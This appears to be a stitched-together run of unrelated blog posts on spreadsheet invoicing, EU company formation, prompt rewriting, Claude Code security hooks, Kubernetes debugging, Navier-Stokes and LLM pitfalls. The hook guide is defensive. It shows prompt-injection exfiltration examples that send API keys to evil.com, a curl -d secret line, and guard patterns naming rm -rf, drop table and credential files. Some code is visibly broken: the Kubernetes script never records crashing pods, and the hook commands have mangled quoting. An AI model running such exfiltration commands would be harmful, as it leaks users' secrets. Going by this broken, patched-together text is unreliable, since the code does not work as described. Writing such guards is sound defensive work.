When working with a time & materials (T&M) payment model (i.e., payment based on actual work performed and resources used) in small development teams, several questions arise: how to track labor costs and other resources, calculate the payment amount for the client, determine the payments for team members, manage all these calculations, and where to store agreements that evolve over time.

There are several ways to address these challenges. In this article, I will describe a fairly simple and practical method using Google Spreadsheets (https://www.google.com/sheets/about/).

The described tool offers flexibility in calculations, separates access between participants, allows you to revisit past payments, investigate discrepancies in reports, and expand functionality to meet specific needs.

Let’s start with an example:

‪ProjectName Time Tracking (example)‬‏ – Google Drive

This example demonstrates calculations for a project named “ProjectName,” involving a team of two specialists: Michael Brown, a developer, and David Clark, a tester. The team has already received one payment in January 2022, while awaiting a second payment for the period named “February 2022,” all while continuing their work.

For those familiar with Google Sheets, the example alone might suffice. However, we will walk through the entire process.

This will include an overview of creating the initial tool for the project, setting up payment periods, and processing payments.

Setting Up a Tracking System

The idea is simple: for each project with a separate client (to whom you issue invoices), you create an individual tracking system as a dedicated folder on Google Drive.

In this folder, you copy the documents from the example provided and populate them with project-specific data.

You can name the folder something like “ProjectName Time Tracking.”

Creating Timesheets

For each project participant, create a separate Google Sheet (referred to as a timesheet) with a custom name. I prefer naming it along the lines of “Time Tracking for [First Name Last Name]. Project [ProjectName].”

Time Tracking for Michael Brown. Project ProjectName

Time Tracking for David Clark. Project ProjectName

Grant editing access to the specialist (and only them). Clients will have access to a different document.

The template already includes instructions with examples, so make sure to direct the specialist’s attention to them. These instructions focus only on the critical points where issues typically arise.

• Specialists must leave the “Payment Period” field blank to ensure accurate preliminary calculations visible to the client.
• Fields intended for specialists are highlighted in green, while fields for the project manager are in blue.

The specialist is now responsible for maintaining their timesheet. When to fill it out is up to you, but it’s crucial to keep it updated before the payment period closes. Encouraging daily updates ensures the specialist doesn’t have to recall tasks at the end of the month, while clients can observe the cost progression in real-time.

Creating a Client Report

Once the timesheets are ready, create a document summarizing overall expenses for invoicing the client for a given period.

General Expenses Report. Project ProjectName

Use the Google Sheet “General Expenses Report. Project ProjectName” as a template. For each timesheet, create a tab named after the specialist’s first and last name, as shown in the example. Be precise with these names because the report uses them to fetch data.

In each tab, use the formula:
=IMPORTRANGE("1OElIxefrBVPVXMUFFDC-Ze1jj5Egm4IOXEu7aTOtYC8", "timesheet!A:D")

Replace 1OElIxefrBVPVXMUFFDC-Ze1jj5Egm4IOXEu7aTOtYC8 with the document ID from the specialist’s timesheet link:
https://docs.google.com/spreadsheets/d/1OElIxefrBVPVXMUFFDC-Ze1jj5Egm4IOXEu7aTOtYC8/edit#gid=623721750

Although you can import the document using the full link, I prefer using only the document ID for cleaner formulas. When you enter the formula, Google Sheets will ask for access permission to the other document—grant this access.

Remove the example payment periods (e.g., “January 2022” and “February 2022”).

On the “Current Period” tab, fill in the team details:

• Enter the specialist’s First Name Last Name exactly as it appears in the tab name.
• Add their role (to provide clarity for the client).
• Specify the hourly rate for the client in the required currency (you may need to adjust column headers).

Fields to fill in now are marked green, fields for the period closing are marked blue, and auto-calculated fields are marked yellow.

Provide commenting access to the client but not to the specialists. This allows the client to see work progress, the current period’s preliminary totals, and finalized calculations for past payment periods.

Creating an Internal Report

If you use this tool for both invoicing the client and calculating payments to team members, you’ll need a separate file for internal calculations.

CONFIDENTIAL. Payment Distribution. Project ProjectName

In the example, this file is named “CONFIDENTIAL. Payment Distribution. Project ProjectName.”

This document only differs in how imported hours are calculated. Follow the same steps as for the client report to set it up.

This file provides an overview of the team’s performance, including:

• Client debt,
• Your debt to the team,
• Revenue for the period.

Neither the client nor the specialists should have access to this file.

Closing a Payment Period

When it’s time to invoice the client, name the payment period and update it in the specialists’ timesheets, then create corresponding tabs in the reports.

Most invoices are issued monthly, so the payment period name usually matches the nearest month and year (e.g., “January 2022” for work performed in January 2022). However, any naming convention is fine as long as it is consistent across timesheets and reports.

Payment Period in Timesheets

In each specialist’s timesheet, update the “Payment Period” field for the tasks included in this period.

Technically, you can do this by:

1. Typing the period name into the first empty cell.
2. Copying the cell (Ctrl+C).
3. Pasting it into all relevant cells (Ctrl+V).

Payment Period in Reports

In the client and internal reports, create a new tab named after the payment period (e.g., “January 2022”). This isn’t mandatory for calculations but helps keep things organized.

To do this, duplicate the “Current Period” tab and rename it.

If there were team changes since the last payment, now is the time to reflect those updates in the reports, as you did during their creation.

Fill in the “Period” field for each specialist in the new tab. Use the same copy-paste method as for the timesheets.

Move the previous period’s tab to the end of the sheet, keeping it accessible but out of the way.

Finalizing the Invoice

In the client report, the newly created tab for the payment period contains the final calculations you’ll reference when issuing the invoice.

If the client requests more details, they can access the specialists’ timesheets directly. They may also leave comments on any cell if you’ve provided commenting access.

This system ensures clarity for all parties involved and simplifies the payment process.

Payment Process

Once the payment period is finalized, you send the client invoices, acts, and other required documentation. These documents are created independently, as the presented tool does not automate this task. While I sometimes use the tool for generating acts, this requires a more tailored approach.

We revisit the client report upon receiving payment to note the payment confirmation for both internal tracking and the client (e.g., see the “January 2022” tab).

Next, the internal report is used to calculate payments for the specialists.

The report indicates the amount owed to each specialist. You can copy a pre-generated text from a cell to share with the specialist for agreement before making the payment:

Michael Brown – Project: ProjectName – Period: January 2022 – Hours: 2 – Rate (USD): 8 – Total (USD): 16

Feel free to adjust the message template to suit your needs.

Important: The tool does not account for taxes, fees, or other statutory payments you are obligated to report and pay to comply with the laws in your operating country.

As payments are made to specialists, update their timesheets to reflect the payment status for both your records and theirs.

At this point, the payment period is closed, though you can revisit it later for retrospective analysis.

When it’s time for the next payment period, repeat the procedure.

Advantages

Flexibility

The described tool is highly adaptable to the specific needs of any given period. For instance:

• You can include additional expenses like cloud computing costs or resource purchases in the expense report.
• It supports adjustments for specialists’ hourly rates during a payment period or managing multiple roles with different rates.

Access Control

The primary advantage of this tool is the ability to segment access for all participants:

• Specialists only see their own work, hours, and payment status.
• Clients view the team’s efforts and the terms of cooperation.
• You, as the team lead, have access to all details.

Retrospective Analysis

Unlike simpler cost calculators, this tool maintains a history of calculations. This is useful for comparing payments across periods or analyzing average rates for specialists.

Expandability

If you have someone managing the tool, you can use the “Protect range” feature to safeguard closed payment periods from accidental edits.
Additionally, you can expand timesheets and reports with custom fields and tabs as needed. For example, you might add a report summarizing the total cost of all work with analytics for the entire project period. I’ve excluded such features here to keep the tool focused on its primary purpose.

Protection Against Backdated Changes

Google Sheets offers a robust version history feature, allowing you to trace changes and identify who modified the data in case of discrepancies.

Conclusion

It’s worth emphasizing once again that this tool does not handle statutory reporting for the jurisdiction in which you operate.

For internal use, we rely on a more advanced system built on the same concepts described here. This system has been adapted to meet our specific needs and continues to evolve. Perhaps one day, if there’s interest, we’ll share more details about it.

Originally published: Tracking Efforts in a T&M Project Using Google Sheets — Alex Rezvov’s Blog

The End of the Notary Era

For centuries, the notary has been an inescapable part of starting a business in continental Europe. From Italy to Germany, from France to Spain, the requirement to sit before a notary, sign physical documents, and pay substantial fees has been the gateway to entrepreneurship. The EU Inc proposal is about to change all of that.

By introducing a fully digital company formation process, the EU Inc eliminates the notary requirement entirely. In its place: digital identity verification, automated compliance checks, and qualified electronic signatures. It’s the most significant reform to European company law in decades.

Why Notaries Existed in Company Formation

To understand the significance of this change, it helps to understand why notaries were required in the first place. The notary served several functions in the traditional company formation process:

• Identity verification: Ensuring that the people signing the incorporation documents were who they claimed to be- Legal compliance: Verifying that the articles of association and other founding documents met legal requirements- Fraud prevention: Acting as an independent witness to prevent fraudulent company formations- Document authentication: Creating legally binding certified copies of founding documents- Advisory role: Informing founders about their legal obligations and the implications of the documents they were signing

These are legitimate functions. The question the EU Inc answers is: can technology perform these functions better, faster, and cheaper than a human notary?

How Digital Verification Replaces the Notary

The EU Inc platform implements a comprehensive digital alternative to every notary function:

eIDAS-Based Identity Verification

Instead of a notary checking a physical ID card, the EU Inc uses the eIDAS (electronic IDentification, Authentication and trust Services) framework. This EU-wide system provides:

• Cross-border recognition of electronic identities- Qualified electronic signatures with the same legal standing as handwritten ones- Real-time verification against national identity databases- Biometric verification where required by national regulations

In many respects, eIDAS verification is more secure than in-person notary identification, as it draws on national databases and cryptographic verification rather than a visual inspection of a document.

Automated Legal Compliance

The platform’s standardized articles of association are pre-approved by legal experts across all 27 member states. They are automatically adapted to the requirements of the chosen registration country. This eliminates the notary’s role as legal compliance checker — the templates are already compliant by design.

AI-Powered Fraud Prevention

Advanced algorithms handle anti-money laundering (AML) screening, politically exposed persons (PEP) checks, and sanctions list verification. These automated checks run against multiple international databases simultaneously — something no individual notary could replicate.

“The technology available today can perform identity verification, compliance checking, and fraud prevention more thoroughly and consistently than any individual professional,” explained a senior advisor to the EU Inc working group.### Blockchain-Secured Document Authentication
Every EU Inc incorporation generates a digitally signed, tamper-proof certificate stored in the Business Registers Interconnection System (BRIS). The document’s integrity can be verified instantly by any party, anywhere in the EU — a level of authentication that paper documents with notary seals cannot match.

The Countries Most Affected

The impact of removing the notary requirement varies dramatically across Europe, as not all countries currently require notaries for company formation:

High Impact: Mandatory Notary Countries

• Germany: Notary involvement mandatory for GmbH formation. Average cost: €300–€800. The German notary lobby has been the most vocal opponent of the EU Inc proposal.- Italy: Notary mandatory for SRL formation. Average cost: €1,000–€2,000. Italy’s notary system is one of the most expensive in Europe.- France: While the SAS can be formed without a notary, the SARL traditionally requires one. Costs: €200–€600.- Spain: Notary mandatory for SL formation. Average cost: €150–€400.- Netherlands: Notary mandatory for BV formation. Average cost: €400–€700.- Austria: Notary mandatory for GmbH. Average cost: €500–€1,200.
  ### Low Impact: No-Notary Countries
• Estonia: Already allows fully digital company formation without a notary- Ireland: No notary requirement for LTD formation- UK (pre-Brexit): Never required notaries for company formation- Denmark: Digital formation available without notary since 2014
  ## The Resistance: Notary Lobbies Fight Back
  Unsurprisingly, the proposal has met significant resistance from national notary associations. The Council of the Notariats of the European Union (CNUE) has raised several objections:

• Consumer protection concerns: they argue that removing the advisory role leaves founders without guidance- Fraud risk: they claim digital systems are more vulnerable to identity fraud- Legal certainty: they contend that notarized documents provide higher legal certainty- Economic impact: acknowledging that thousands of notary positions across Europe would be affected

The European Commission has addressed these concerns by pointing to the comprehensive digital safeguards built into the EU Inc platform, and by noting that the standardized templates actually provide more protection for unsophisticated founders than a rushed notary appointment.

The Savings for Entrepreneurs

The elimination of notary requirements generates significant savings:

• Direct cost savings: €150–€2,000 per company formation, depending on the country- Time savings: No need to schedule appointments, travel to notary offices, or wait for document processing- Accessibility: Founders in rural areas no longer need to travel to cities where notaries are located- Cross-border simplification: No need to find a notary who understands the corporate law of another member state

  Digital Signatures: The Legal Foundation
  

  Central to the no-notary approach is the use of qualified electronic signatures (QES) under the eIDAS regulation. A QES has the same legal effect as a handwritten signature across all EU member states. This legal equivalence is what makes it possible to complete the entire company formation process digitally, without any loss of legal validity.

  What This Means for the Future
  

  The elimination of the notary requirement for EU Inc formation is likely to have ripple effects beyond company formation itself. If digital verification proves successful — as many expect — it could pave the way for:

• Digital real estate transactions- Online inheritance procedures- Remote corporate governance (digital board meetings, shareholder votes)- Cross-border contract authentication

The EU Inc is not just creating a new company form. It’s establishing a new paradigm for how legal transactions are conducted in the digital age. The notary’s stamp is being replaced by the cryptographic signature — and there’s no going back.

Originally published on EU Inc News

I’ll be honest. When I first heard “prompt engineering” I thought it was just a buzzword people used to sound smart on Twitter.

Then I started getting genuinely bad results from AI. Like, embarrassingly bad. I’d ask ChatGPT or Claude to help me write something, debug something, plan something, and the response would be this generic, surface-level answer that helped nobody.

The problem wasn’t the AI. It was me. I didn’t know how to talk to it.

So what even is prompt engineering?

It’s just this: writing your message to an AI in a way that gets you the best possible response. That’s the whole thing. No magic. No PhD required.

But here’s the annoying part. There are actual rules. Context, tone, role-setting, output formatting, chain-of-thought instructions… it’s a lot. And most people don’t have time to learn all of it.

My actual problem

Every time I wanted to write a prompt, I’d freeze. What role should I give the AI for this specific task? What tone works best here? What output format should I ask for? I didn’t know every combination. I didn’t want to research it before every single prompt.

I just wanted to write my rough idea and get a great response.

So instead of learning all the rules myself, I asked: what if I build something where I don’t have to think before writing every prompt? That’s how I found this.

The Meta Prompt

Instead of learning every rule myself, I just ask the AI to apply all the rules for me. Here’s the exact prompt:

You are a prompt engineer with 3 years of experience at OpenAI/Anthropic.
You deeply understand how AI generates its best responses based on how
a prompt is structured.

Rewrite the following into the most optimized prompt possible,
following all best prompting practices:

[your normal prompt here]

You paste your rough idea inside, and the AI rewrites it into a properly structured, context-rich, high-quality prompt before actually answering you.

No guessing the right role. No thinking about tone. No worrying about format. The AI figures all of that out for you.

Before and After: Real Example

Here’s exactly what this looks like in practice. I was writing a LinkedIn post about this very topic and wanted to convert it into a full Dev.to article. Here’s what I actually typed:

My raw prompt:

You are a prompt engineer who has worked at OpenAI/Anthropic for the last
3 years. You deeply understand how AI models generate their best responses
based on how a prompt is structured. Rewrite the following into the most
optimized prompt possible, following all best prompting practices:

[i want to write this linkedin post to a dev.to post. in expand version.
first i want to post dev.to expand version then post on linkedin in short
version and add the link if anyone want to read full article so give me
suggestion what i also can add with this for dev.to]

What the AI returned as the optimized prompt:

You are an experienced developer and technical writer who has been
publishing on Dev.to for 5+ years and growing audiences on LinkedIn.
I have a short bio/blurb written for Dev.to. I want to expand it into
a full Dev.to article, then repurpose a shorter version for LinkedIn
that ends with a link to the full article.

Do the following:
1. Expand this into a full Dev.to article. Keep the tone honest, direct,
and developer-first. No corporate language.
2. Suggest what sections or content I should add to make the article more
complete and valuable to Dev.to readers.
3. Write a short LinkedIn post version that teases the article and ends
with a call to action linking to it.

Constraints:
- Dev.to version should feel personal, not like documentation
- LinkedIn version should be under 150 words
- No em dashes
- Write like a real developer, not a resume

Look at the difference. My version was a rough idea. The optimized version had a clear role, structured tasks, specific constraints, and a proper goal. That’s the gap the meta prompt fills automatically.

The Power Move: Set It Once in a Project or New Chat

The normal meta prompt works great when you paste it manually each time. But there’s a setup that removes even that step.

Open a new Project on Claude or start a fresh chat on ChatGPT. At the very top, paste this instead:

You are a prompt engineer with 3 years of experience at OpenAI/Anthropic.
You deeply understand how AI generates its best responses based on how
a prompt is structured.

For every message I send in this conversation, do the following:
1. Rewrite my message into the most optimized prompt possible,
   following all best prompting practices
2. Then respond based on that improved prompt

Do this automatically for every single message. No need to ask.

This is different from the standard meta prompt. You are not asking it to optimize one prompt. You are telling the AI that its entire role in this conversation is to intercept every message you send, improve it, and then respond to the improved version.

Now you just type normally. Every message gets auto-optimized in the background. One setup, the whole conversation runs better.

Limitations: When This Does Not Work

This is not perfect. Here is the real limitation.

Imagine you are deep in a conversation with AI. It knows your project, your context, what you are trying to build. Now you open a brand new chat just to run the meta prompt on your next message.

That new chat knows nothing. Zero. It has no idea what you were working on, what decisions were already made, what the AI in the other conversation already understood about you.

So the “optimized” prompt it writes is optimized in a vacuum. It looks clean and structured, but it is missing all the real context that was living in your original conversation. You send that prompt somewhere and the response can go in a completely wrong direction.

The limitation is not the prompt itself. It is the context gap between conversations.

The fix is simple: set up the meta prompt at the very start of a conversation, before any real work begins. That way the AI builds context and optimizes your prompts inside the same chat, together. No gap, no missing information.

Why This Works

AI models perform much better when you give them a clear role and a clear task. By telling it “you are a prompt engineer, rewrite this,” you are giving it a framework to operate inside. It stops guessing what you want.

It’s the same reason “write me a function” gets worse results than “you are a senior backend engineer, write me a Python function that does X, handles edge case Y, and returns Z format.” Context changes everything.

The meta prompt automates that context-setting so you never have to think about it manually again.

Try It Right Now

Open any AI tool. Paste the meta prompt. Write something you have been struggling to get a good response on. See what comes back.

Then drop a comment below. I am genuinely curious what use case it clicks best for you.

Every time Claude Code fetches a URL, it asks for permission. After the 50th approval for a docs page, you start wondering — can I just auto-allow this?

You can. But there’s a catch: WebFetch can send data in query parameters. A prompt injection buried in a file could trick Claude into fetching https://evil.com?secret=YOUR_API_KEY. Auto-approving everything means you’d never see it happen.

Here’s how I set up a middle ground: auto-allow clean URLs, but show a confirmation prompt when query parameters are present.

The naive approach (don’t do this)

You might think adding WebFetch to permissions is enough:

// ~/.claude/settings.json
{
  "permissions": {
    "allow": ["WebFetch"]
  }
}

This works — but it auto-allows everything, including https://evil.com?token=abc123. No safety net.

The hook approach (do this instead)

Claude Code has a PreToolUse hook system. A hook runs before every tool call and can:

• Exit 0 — silently allow (no prompt)
• Exit 1 — show a message and ask for confirmation (approve/deny)
• Exit 2 — hard block (no option to proceed)

The hook receives the full tool call as JSON via stdin — tool name, input parameters, session ID, everything.

Here’s the setup in ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "WebFetch",
        "hooks": [
          {
            "type": "command",
            "command": "python3 -c "import sys,json; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); print('URL has query params, review: '+url, file=sys.stderr) if '?' in url else None; sys.exit(1) if '?' in url else sys.exit(0)"",
            "statusMessage": "Checking WebFetch URL for query params..."
          }
        ]
      }
    ]
  }
}

That’s it. One hook, zero dependencies.

What this does

When a URL has query params, you’ll see something like:

URL has query params, review: https://api.example.com/data?key=secret

And Claude Code pauses for your decision. If it’s legitimate (like a search query or API docs with anchors), you approve. If it looks suspicious, you deny.

How it works under the hood

The PreToolUse hook receives JSON on stdin with this structure:

{
  "session_id": "abc-123",
  "hook_event_name": "PreToolUse",
  "tool_name": "WebFetch",
  "tool_input": {
    "url": "https://example.com/page?q=test",
    "prompt": "Summarize this page"
  }
}

The Python one-liner:

1. Reads the JSON from stdin
2. Extracts the URL from tool_input.url
3. Checks if ? is present
4. Exits with 1 (ask) or 0 (allow)

Gotcha: permissions.allow overrides hooks

This tripped me up. If you add WebFetch to both permissions.allow AND set up a hook:

{
  "permissions": {
    "allow": ["WebFetch"]  
  },
  "hooks": {
    "PreToolUse": [...]
  }
}

The hook never fires. permissions.allow takes full precedence — the tool is approved before the hook even runs. Remove the permission rule and let the hook be the sole gatekeeper.

Gotcha: stdin, not environment variables

Hook input comes via stdin, not an environment variable. I initially tried os.environ.get('ARGUMENTS') — it was empty. The correct approach is json.load(sys.stdin).

Going further

You can apply this pattern to other tools too. Some ideas:

Bash command guard — ask before running destructive commands:

{
  "matcher": "Bash",
  "hooks": [{
    "type": "command",
    "command": "python3 -c "import sys,json; cmd=json.load(sys.stdin).get('tool_input',{}).get('command',''); dangerous=any(w in cmd for w in ['rm -rf','drop table','--force','--hard']); print('Dangerous command: '+cmd, file=sys.stderr) if dangerous else None; sys.exit(1) if dangerous else sys.exit(0)""
  }]
}

Write guard — flag writes to sensitive paths:

{
  "matcher": "Write",
  "hooks": [{
    "type": "command",
    "command": "python3 -c "import sys,json; path=json.load(sys.stdin).get('tool_input',{}).get('file_path',''); sensitive=any(s in path for s in ['.env','.key','credentials','secret']); print('Writing to sensitive file: '+path, file=sys.stderr) if sensitive else None; sys.exit(1) if sensitive else sys.exit(0)""
  }]
}

Caution: This is not bulletproof

This hook catches the most common exfiltration vector — query parameters. But data can leak through other parts of a URL too:

Path parameters:

https://evil.com/exfil/YOUR_API_KEY/done

Subdomains:

https://YOUR_API_KEY.evil.com/callback

Fragment identifiers (less risky since fragments aren’t sent to servers, but still worth knowing):

https://evil.com/page#secret=abc

POST body via other tools — if an attacker tricks Claude into using Bash with curl -d "secret=xxx", WebFetch hooks won’t catch it at all.

What you can do about it

1. Allowlist known domains — instead of checking for ?, flip the logic. Only auto-allow domains you trust, and ask for everything else:

{
  "command": "python3 -c "import sys,json; from urllib.parse import urlparse; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); host=urlparse(url).hostname or ''; trusted=['docs.python.org','developer.mozilla.org','github.com','stackoverflow.com']; is_trusted=any(host.endswith(d) for d in trusted); print('Unknown domain: '+url, file=sys.stderr) if not is_trusted else None; sys.exit(0 if is_trusted else 1)""
}

1. Layer your defenses — combine the query param hook with a domain allowlist. Use exit 0 for trusted domains with no params, exit 1 for trusted domains with params or unknown domains, and exit 2 for known-bad patterns.

2. Watch your Bash tool too — add a separate hook for Bash that flags curl, wget, or nc commands with suspicious arguments.

3. Review the URL every time you approve — sounds obvious, but when you’re in flow and approving prompts quickly, it’s easy to glaze over. The whole point of exit code 1 is to make you pause. Actually pause.

Bottom line: The hook in this article reduces your attack surface significantly — most prompt injection exfiltration uses query params because it’s the easiest path. But no single check catches everything. Treat this as one layer, not the whole wall.

TL;DR

• Don’t use permissions.allow for WebFetch — it bypasses all hooks
• Use a PreToolUse hook that exits 0 (allow) or 1 (ask) based on the URL
• Hook input is JSON via stdin
• ~/.claude/settings.json makes it global across all projects
• Query param checks are a good start, but consider domain allowlisting for stronger protection
• Data can also leak via path params, subdomains, and Bash commands — layer your defenses

The goal isn’t to block Claude from fetching URLs. It’s to keep yourself in the loop when data might be leaving your machine. Two minutes of setup, permanent peace of mind — but stay vigilant.

If you’re using Claude Code daily, these small safety guardrails compound. Two minutes of config now saves you from a bad day later. Got a better hook setup? Drop it in the comments — let’s build a community-maintained collection.

🔍 Introduction

If you’re working with Kubernetes, you’ve likely encountered this error:

CrashLoopBackOff

It’s one of the most common and frustrating issues in Kubernetes environments.

Traditionally, debugging involves:
• Running kubectl commands
• Checking logs manually
• Guessing the root cause

👉 This process is slow and inefficient.

In this guide, I’ll show you how to automatically detect CrashLoopBackOff using Python, combining pod state and log analysis.

🤯 What is CrashLoopBackOff?

CrashLoopBackOff occurs when:
• A container starts
• Crashes immediately
• Kubernetes restarts it
• The cycle repeats

Example:

kubectl get pods

Output:

sample-app   0/1   CrashLoopBackOff   3 (15s ago)

🎯 Goal
We want to build a system that:
• Detects CrashLoopBackOff automatically
• Fetches logs
• Generates structured insights
• Reduces manual debugging

🧱 Step 1: Fetch Kubernetes Pods Using Python
We’ll use subprocess to call kubectl:

import subprocess
 import json
 def list_pods(namespace):
     result = subprocess.run(
        ["kubectl", "get", "pods", "-n", namespace, "-o", "json"],
        capture_output=True,
        text=True
  )
  pods = json.loads(result.stdout)
  pod_list = []
  for item in pods["items"]:
    name = item["metadata"]["name"]
    state = item["status"]["containerStatuses"][0]["state"]
    if "waiting" in state:
       reason = state["waiting"]["reason"]
    else:
       reason = "Running"
       pod_list.append({
         "name": name,
          "state": reason
        })

  return pod_list

🚨 Step 2: Detect CrashLoopBackOff
Once we have pod states, detection is straightforward:

def detect_failures(pods):
    failures = []

    for pod in pods:
        if pod["state"] in ["CrashLoopBackOff", "ImagePullBackOff", "ErrImagePull"]:
            failures.append({
                "pod_name": pod["name"],
                "issue": pod["state"],
                "severity": "CRITICAL"
            })

    return failures

🔍 Step 3: Fetch Pod Logs
Now let’s get logs for deeper analysis:

def get_pod_logs(namespace, pod_name):
    result = subprocess.run(
        ["kubectl", "logs", "-n", namespace, pod_name],
        capture_output=True,
        text=True
    )

    return result.stdout

🧠 Step 4: Parse Logs for Errors
We can extract important signals:

def parse_logs(logs):
    issues = []

    for line in logs.split("n"):
        if "ERROR" in line:
            issues.append({
                "level": "WARNING",
                "message": line
            })

    return issues

🔗 Step 5: Combine State + Logs
Pod state + Logs = Powerful debugging signal

def analyze_pod(namespace, pod):
    pod_name = pod["name"]
    pod_state = pod["state"]

    if pod_state == "CrashLoopBackOff":
        return {
            "pod_name": pod_name,
            "status": "unhealthy",
            "issues_found": [{
                "level": "CRITICAL",
                "message": f"Pod in {pod_state}"
            }]
        }

    logs = get_pod_logs(namespace, pod_name)
    log_issues = parse_logs(logs)

    if log_issues:
        return {
            "pod_name": pod_name,
            "status": "unhealthy",
            "issues_found": log_issues
        }

    return {
        "pod_name": pod_name,
        "status": "healthy",
        "issues_found": []
    }

📊 Example Output

{
  "pod_name": "sample-app",
  "status": "unhealthy",
  "issues_found": [
    {
      "level": "CRITICAL",
      "message": "Pod in CrashLoopBackOff"
    }
  ]
}

💥 Why This Approach Works
This method:
• Automates failure detection
• Reduces manual debugging
• Provides structured insights
• Works in real-time systems

🧠 Key Takeaway

Kubernetes debugging becomes effective when you combine:

• Pod state
• Logs
• Context

🚀 Part of a Bigger System
This is part of a larger system I’m building:
👉 An AI-powered Kubernetes debugger

It:
• Detects failures automatically
• Analyzes logs
• Suggests fixes

🔗 Project Link

👉 GitHub: Link

devops #kubernetes #python #cloud #automation

Ninety years of attacks on the regularity question, and where to go deeper

The state of play

Since the 1930s, mathematicians have attacked the problem from many angles, from energy estimates and geometry to probability and computer-assisted analysis. The full 3D existence-and-smoothness question remains completely, stubbornly open.

But here’s what people miss: we’ve learned an enormous amount from ninety years of failed attacks, and the collective picture is far richer than a simple “unsolved” label suggests. Entire strategies eliminated. Sub-cases closed. We know, with substantial progress: some subcases are resolved, several conditional criteria are understood, and major barriers are much clearer. What follows is a map of that progress.

Key milestones

Five results that reshaped the field:- 1934, Leray: Proved that global-in-time weak solutions exist for any reasonable initial data. Something persists forever. But does it stay smooth? That’s the question Leray couldn’t answer, and after ninety years, neither can anyone else.- 1982, Caffarelli, Kohn, Nirenberg: The set of possible singularities is extremely small: in the parabolic geometry natural to these equations, it has zero one-dimensional size. Vanishingly small. If blowup happens, it’s sparse beyond imagination.- 1984, Beale, Kato, Majda: Huge result. A smooth solution can only break down if the vorticity blows up, which gave the entire field one precise target: control the relevant vorticity norm strongly enough, and a smooth solution cannot break down at that time.- 2016, Tao: Constructed blowup for an averaged Navier-Stokes sharing the same energy and scaling properties as the real thing, which means a proof for the real equation has to use finer structure than energy estimates and scaling alone. A barrier. Not a solution.- 2022, Albritton, Brué, Colombo: Leray-Hopf weak solutions aren’t unique when you allow an external force. Bad news: the weakest solution class isn’t as tame as we’d hoped, and this forces a rethinking of what “solution” even means at this level.

Dive deeper

This page is a map, not the territory. For the details:

Subproblems

The tractable pieces: 2D regularity, axisymmetric flows, critical spaces, and other special cases where real progress has been made.

Approaches

The major strategies mathematicians are pursuing: energy methods, harmonic analysis, probabilistic techniques, convex integration, and computational approaches.

About this page

Last reviewed: March 2026. This page is a living directory. As new results appear and deeper articles go up, it’ll be updated.

Originally published on navier-stokes.org. The site covers the Navier-Stokes existence and smoothness problem with toggleable simple/rigorous explanations.

The obvious LLM failures are easy to catch. Syntax errors, broken configs, a pipeline that refuses to run. You see the problem immediately and fix it. Those are not the ones that should worry you.

The ones that should worry you are the ones that look completely fine. The code runs. The config is valid. The output looks reasonable. And yet, when someone with more experience takes a look, the problems become obvious immediately. They were just invisible to you.

The knowledge mirror

There is a pattern I noticed pretty quickly when working on tasks outside my main area.

When I work in areas I know well, like Terraform or CI/CD pipelines, I can evaluate the model’s output almost automatically. I know what good looks like, I know the common failure patterns, and I catch mistakes fast. The feedback loop is tight.

But when I work on something I know less about, that feedback loop breaks. And the problem is that the model does not help you here at all. It does not become more cautious in unfamiliar territory. It does not tell you when it is guessing. It produces the same confident, well-formatted output regardless of whether it is right or wrong.

Anthropic’s engineering team documented the same behavior when building multi-agent coding harnesses. Their published observation: when asked to evaluate their own output, agents reliably respond by confidently praising it, even when the quality is obviously mediocre to a human observer. The confidence is not correlated with the actual quality of the work.

So what you end up with is a mirror: the model reflects your level of knowledge back at you. If you know the domain, you catch the mistakes. If you do not, you miss them. And the less you know, the more you are at the mercy of output you cannot properly evaluate.

In practice, for me this showed up most clearly in development tasks. There are usually several valid ways to implement the same thing in code, and the right choice depends on context, team conventions, performance requirements, and a lot of other things the model cannot know. If you are not familiar enough with those trade-offs yourself, the model will just pick one. And if you do not notice, it gets built on.

The problem with architectural decisions

LLMs are actually quite good at implementing things. Give the model a clear approach and it will execute it well. The problem is when you ask it to choose the approach.

Architectural decisions involve context the model simply does not have: your team’s skill level, how much complexity the team can realistically own and maintain at once, which parts of your system are already overengineered, the operational cost of what it is about to build, your future plans. Without that, it defaults to what it has seen most in training data, which is usually the textbook approach or the most complex one, not necessarily the most appropriate one for your situation.

In DevOps this matters more than it might seem, because infrastructure decisions have long tails. A bad pattern in a Terraform module layout, a poorly thought-out pipeline structure, a dependency that should not be there, these things propagate. Fixing them later is far more expensive than catching them early.

There is also the consistency problem. The model has absorbed a lot of old documentation and outdated best practices, and it has no sense of what is current or what fits your context. So it might solve the same kind of problem in two different places in your codebase using two completely different approaches. Both technically valid, but inconsistent in ways that make things harder to maintain over time.

The practical answer is documentation: write down your decisions and conventions and feed them to the model. This genuinely helps. But the model does not always follow the rules you set for it, especially on longer tasks. You still need to review what it produces. Documentation reduces the drift, it does not eliminate it.

A concrete example: a colleague was working on changes that touched multiple Terragrunt module levels and wanted to structure it as a single PR. The constraint is straightforward: you cannot use outputs from one level in another before applying the first one, so the rule is one PR per level. The fix: use git checkout origin/main -- path_to_file to revert the level-two file back to main in your current branch, open the first PR, merge and apply it, then create a second PR with the level-two changes. She had already asked Copilot. It had given her something much longer and more complicated.

The one thing to watch: if the reverted file had significant changes in it, save or stash them before running the checkout, because it will wipe them from your branch.

A model that produces something technically correct but architecturally wrong is in some ways more dangerous than one that produces something broken, because at least broken things announce themselves.

When the model starts looping

The other failure mode that shows up regularly is looping. You give the model a problem, it gives you an answer, the answer is wrong, you tell it so, it gives you a variation, that is also wrong, and so on. Anthropic’s engineering team describes the same failure in the same terms for longer agentic tasks: on complex work, the agent tends to go off the rails over time, producing increasingly elaborate answers that are no more correct than the first one.

A good example of this from my own work: I was building a GitLab CI pipeline and wanted to keep it DRY. The changes: blocks that control when jobs run were being repeated across every rule, so I asked the model to clean it up using YAML anchors. It produced something that looked completely reasonable, valid YAML, clean structure. The pipeline failed. I fed the error back. It adjusted. Still failed. A few iterations in, the suggestions were getting more elaborate but the pipeline kept breaking in the same way.

The next article in this series gets into exactly why this happens with GitLab specifically, and what the pattern looks like in practice. The signs are pretty recognizable once you have seen it a few times: the answers are getting longer but not more correct, the error is not actually changing between iterations, and you are spending more time explaining the problem than it would take to just fix it.

The right move at that point is to stop, step back, figure out the root cause yourself, and either fix it directly or come back to the model with a much more specific prompt that contains the missing context. What does not work is adding more context and hoping the next attempt will break the pattern. Usually it does not.

Senior knowledge is more important, not less

